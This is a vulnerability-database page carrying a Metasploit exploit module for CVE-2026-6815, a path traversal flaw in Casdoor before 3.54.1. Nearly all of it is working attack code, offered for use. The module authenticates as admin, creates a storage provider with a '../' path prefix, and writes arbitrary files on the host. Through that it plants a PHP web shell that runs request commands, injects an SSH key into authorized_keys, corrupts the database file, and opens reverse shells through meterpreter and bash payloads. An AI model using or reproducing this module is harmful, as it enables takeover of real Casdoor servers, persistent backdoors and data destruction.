| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Exploit for Path Traversal in Casbin Casdoor | 4 Jun 202615:06 | – | githubexploit | |
| CVE-2026-6815 | 4 Jun 202615:07 | – | circl | |
| Casdoor 安全漏洞 | 11 May 202600:00 | – | cnnvd | |
| CVE-2026-6815 | 11 May 202615:20 | – | cve | |
| CVE-2026-6815 CVE-2026-6815 | 11 May 202615:20 | – | cvelist | |
| Casdoor 3.54.1 - Arbitrary File Write via Path Traversal | 27 May 202600:00 | – | exploitdb | |
| EUVD-2026-29080 | 11 May 202618:31 | – | euvd | |
| CVE-2026-6815 | 11 May 202616:17 | – | nvd | |
| 📄 Casdoor 3.54.1 Arbitrary File Write / Path Traversal | 29 May 202600:00 | – | packetstorm | |
| 📄 Casdoor 3.54.1 Arbitrary File Write / Shell Upload | 16 Jun 202600:00 | – | packetstorm |
==================================================================================================================================
| # Title : Casdoor 3.54.1 - Path Traversal Arbitrary File Write |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://casdoor.org/ |
==================================================================================================================================
[+] Summary : This exploit targets a path traversal flaw in Casdoor (versions before 3.54.1).
By abusing a misconfigured Local File System storage provider, an authenticated admin
can set a malicious pathPrefix (like ../../../../...) that breaks out of the intended directory sandbox.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Casdoor 3.54.1 - Path Traversal Arbitrary File Write',
'Description' => %q{
This module exploits a Path Traversal vulnerability in the storage provider
management component of Casdoor versions prior to 3.54.1. By creating a
'Local File System' provider with a manipulated 'pathPrefix', an authenticated
administrator can bypass the storage sandbox to write, overwrite, or delete
arbitrary files on the underlying host filesystem.
Successful exploitation can lead to:
- Remote Code Execution (RCE) via SSH key injection or web shell upload
- Persistent Denial of Service (DoS) by corrupting core application binaries
- Database file manipulation
This module supports various exploitation methods including web shell upload,
SSH key injection, and reverse shell deployment.
},
'Author' => ['indoushka''],
'References' => [
['CVE', '2026-6815'],
['URL', 'https://github.com/casdoor/casdoor'],
['URL', 'https://casdoor.org/']
],
'DisclosureDate' => '2026-05-11',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP Web Shell',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_webshell,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'SSH Key Injection',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :ssh_key
}
],
[
'Database Corruption (DoS)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :db_corruption
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base Casdoor path', '/']),
OptString.new('USERNAME', [true, 'Casdoor username', 'admin']),
OptString.new('PASSWORD', [true, 'Casdoor password', '123']),
OptString.new('APP_NAME', [false, 'Target Casdoor Application Name', 'app-built-in']),
OptString.new('ORG_NAME', [false, 'Target Casdoor Organization Name', 'built-in']),
OptString.new('PROVIDER_NAME', [false, 'Name for malicious provider', 'path_traversal']),
OptString.new('REMOTE_PATH', [false, 'Absolute remote path for file write']),
OptString.new('LOCAL_FILE', [false, 'Local file to upload']),
OptString.new('SSH_PUB_KEY', [false, 'SSH public key file for injection']),
OptString.new('WEBSHELL_PATH', [false, 'Webshell path (e.g., /var/www/html/shell.php)']),
OptBool.new('SKIP_VERSION_CHECK', [false, 'Skip version check', false])
])
end
def casdoor_login_url
normalize_uri(target_uri.path, 'login/built-in')
end
def casdoor_api_login_url
normalize_uri(target_uri.path, 'api/login')
end
def casdoor_api_add_provider_url
normalize_uri(target_uri.path, 'api/add-provider')
end
def casdoor_api_upload_resource_url
normalize_uri(target_uri.path, 'api/upload-resource')
end
def casdoor_api_version_url
normalize_uri(target_uri.path, 'api/get-version-info')
end
def get_session_cookie
print_status("Retrieving initial session cookie...")
res = send_request_cgi(
'method' => 'GET',
'uri' => casdoor_login_url
)
if res && res.headers['Set-Cookie']
cookie = res.get_cookies
print_good("Session cookie obtained")
return cookie
end
nil
end
def authenticate(cookie)
print_status("Authenticating as #{datastore['USERNAME']}...")
login_payload = {
'application' => datastore['APP_NAME'],
'organization' => datastore['ORG_NAME'],
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'autoSignin' => true,
'signinMethod' => 'Password',
'type' => 'login'
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => casdoor_api_login_url,
'ctype' => 'text/plain;charset=UTF-8',
'data' => login_payload,
'cookie' => cookie
)
if res && res.code == 200
begin
json = res.get_json_document
if json['status'] == 'ok'
print_good("Authentication successful")
return true
end
rescue JSON::ParserError
print_error("Failed to parse login response")
end
end
print_error("Authentication failed")
false
end
def check_version(cookie)
print_status("Checking Casdoor version...")
res = send_request_cgi(
'method' => 'GET',
'uri' => casdoor_api_version_url,
'cookie' => cookie
)
if res && res.code == 200
begin
json = res.get_json_document
version = json.dig('data', 'version') || json['version']
if version
print_status("Casdoor version: #{version}")
begin
v_clean = version.gsub(/^v/, '').split('-')[0]
v_parts = v_clean.split('.').map(&:to_i)
if v_parts[0] >= 3 && v_parts[1] >= 54 && v_parts[2] >= 1
print_warning("Version #{version} is likely patched (>= 3.54.1)")
unless datastore['SKIP_VERSION_CHECK']
print_warning("Set SKIP_VERSION_CHECK to true to continue")
return false
end
else
print_good("Version appears vulnerable")
end
rescue
print_warning("Could not parse version, continuing anyway")
end
end
rescue JSON::ParserError
print_error("Failed to parse version response")
end
end
true
end
def create_malicious_provider(cookie)
print_status("Creating malicious storage provider...")
provider_payload = {
'owner' => 'admin',
'name' => datastore['PROVIDER_NAME'],
'createdTime' => Time.now.strftime('%Y-%m-%dT%H:%M:%S+01:00'),
'displayName' => 'Path Traversal Provider',
'category' => 'Storage',
'type' => 'Local File System',
'method' => 'Normal',
'pathPrefix' => '../../../../../../../../../'
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => casdoor_api_add_provider_url,
'ctype' => 'text/plain;charset=UTF-8',
'data' => provider_payload,
'cookie' => cookie
)
if res && res.code == 200
begin
json = res.get_json_document
if json['status'] == 'ok'
print_good("Malicious provider created successfully")
return true
elsif json['msg'] && json['msg'].include?('UNIQUE constraint failed')
print_status("Provider already exists, reusing it")
return true
else
print_error("Failed to create provider: #{json['msg']}")
return false
end
rescue JSON::ParserError
print_error("Failed to parse provider creation response")
end
end
false
end
def generate_php_webshell
webshell = '<?php '
webshell << 'if(isset($_REQUEST["cmd"])){ '
webshell << 'echo "<pre>"; '
webshell << 'system($_REQUEST["cmd"]); '
webshell << 'echo "</pre>"; '
webshell << '} '
webshell << 'if(isset($_REQUEST["upload"])){ '
webshell << 'file_put_contents($_REQUEST["upload"], file_get_contents($_FILES["file"]["tmp_name"])); '
webshell << '} '
webshell << '?>'
webshell
end
def generate_ssh_key_content
if datastore['SSH_PUB_KEY'] && File.exist?(datastore['SSH_PUB_KEY'])
File.read(datastore['SSH_PUB_KEY'])
else
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... exploit@casdoor"
end
end
def upload_file(cookie, local_file, remote_path)
print_status("Uploading #{local_file} to #{remote_path}...")
unless File.exist?(local_file)
print_error("Local file not found: #{local_file}")
return false
end
file_data = File.binread(local_file)
filename = File.basename(local_file)
boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{filename}\"\r\n"
post_data << "Content-Type: application/octet-stream\r\n\r\n"
post_data << file_data
post_data << "\r\n--#{boundary}--\r\n"
params = {
'owner' => datastore['ORG_NAME'],
'user' => datastore['USERNAME'],
'application' => datastore['APP_NAME'],
'tag' => 'custom',
'parent' => 'ResourceListPage',
'fullFilePath' => remote_path,
'provider' => datastore['PROVIDER_NAME']
}
res = send_request_cgi(
'method' => 'POST',
'uri' => casdoor_api_upload_resource_url,
'vars_get' => params,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'cookie' => cookie
)
if res && res.code == 200
begin
json = res.get_json_document
if json['status'] == 'ok'
print_good("File uploaded successfully to #{remote_path}")
register_file_for_cleanup(remote_path) if remote_path.start_with?('/')
return true
else
print_error("Upload failed: #{json['msg']}")
return false
end
rescue JSON::ParserError
print_error("Failed to parse upload response")
end
end
false
end
def upload_string_content(cookie, content, remote_path)
print_status("Writing content to #{remote_path}...")
temp_file = "/tmp/#{Rex::Text.rand_text_alpha_lower(8)}.tmp"
File.binwrite(temp_file, content)
success = upload_file(cookie, temp_file, remote_path)
File.unlink(temp_file) if File.exist?(temp_file)
success
end
def execute_php_webshell(cookie, webshell_path, cmd)
webshell_url = normalize_uri(webshell_path)
res = send_request_cgi(
'method' => 'GET',
'uri' => webshell_url,
'vars_get' => { 'cmd' => cmd },
'cookie' => cookie
)
if res && res.code == 200
output = res.body
output.gsub!(/<pre>/, '')
output.gsub!(/<\/pre>/, '')
return output.strip
end
nil
end
def webshell_exploit(cookie)
print_status("Deploying PHP webshell...")
webshell_content = generate_php_webshell
webshell_path = datastore['WEBSHELL_PATH'] || '/var/www/html/shell.php'
unless upload_string_content(cookie, webshell_content, webshell_path)
print_error("Failed to deploy webshell")
return false
end
print_good("Webshell deployed to #{webshell_path}")
if target['Type'] == :php_webshell && payload.encoded
b64_payload = Rex::Text.encode_base64(payload.encoded)
download_cmd = "echo '#{b64_payload}' | base64 -d > /tmp/payload.php && php /tmp/payload.php"
execute_php_webshell(cookie, webshell_path, download_cmd)
print_status("Payload delivered via webshell")
return true
end
true
end
def ssh_key_exploit(cookie)
print_status("Injecting SSH key...")
ssh_key = generate_ssh_key_content
ssh_path = datastore['REMOTE_PATH'] || '/home/casdoor/.ssh/authorized_keys'
if upload_string_content(cookie, ssh_key, ssh_path)
print_good("SSH key injected to #{ssh_path}")
print_status("You can now SSH into the target as casdoor user")
return true
end
false
end
def db_corruption_exploit(cookie)
print_status("Attempting database corruption...")
dummy_content = "CORRUPTED BY CVE-2026-6815 EXPLOIT - #{Time.now}"
db_path = datastore['REMOTE_PATH'] || '/app/casdoor.db'
if upload_string_content(cookie, dummy_content, db_path)
print_good("Database corrupted at #{db_path}")
print_warning("Casdoor service may be compromised")
return true
end
false
end
def unix_command_exploit(cookie)
print_status("Executing Unix command...")
script_content = "#!/bin/sh\n#{payload.encoded}\n"
script_path = "/tmp/#{Rex::Text.rand_text_alpha_lower(8)}.sh"
if upload_string_content(cookie, script_content, script_path)
print_good("Payload script uploaded to #{script_path}")
exec_cmd = "chmod +x #{script_path} && #{script_path}"
print_status("Payload execution attempted")
return true
end
false
end
def exploit
print_status("CVE-2026-6815 - Casdoor Path Traversal Arbitrary File Write")
print_status("Target: #{peer}")
cookie = get_session_cookie
unless cookie
fail_with(Failure::NoAccess, "Failed to obtain session cookie")
end
unless authenticate(cookie)
fail_with(Failure::NoAccess, "Authentication failed. Check credentials.")
end
unless datastore['SKIP_VERSION_CHECK']
unless check_version(cookie)
print_warning("Version check suggests target is patched")
return unless datastore['ForceExploit']
end
end
unless create_malicious_provider(cookie)
fail_with(Failure::UnexpectedReply, "Failed to create malicious provider")
end
case target['Type']
when :php_webshell
webshell_exploit(cookie)
when :unix_cmd
unix_command_exploit(cookie)
when :ssh_key
ssh_key_exploit(cookie)
when :db_corruption
db_corruption_exploit(cookie)
else
webshell_exploit(cookie)
end
print_good("Exploit completed")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation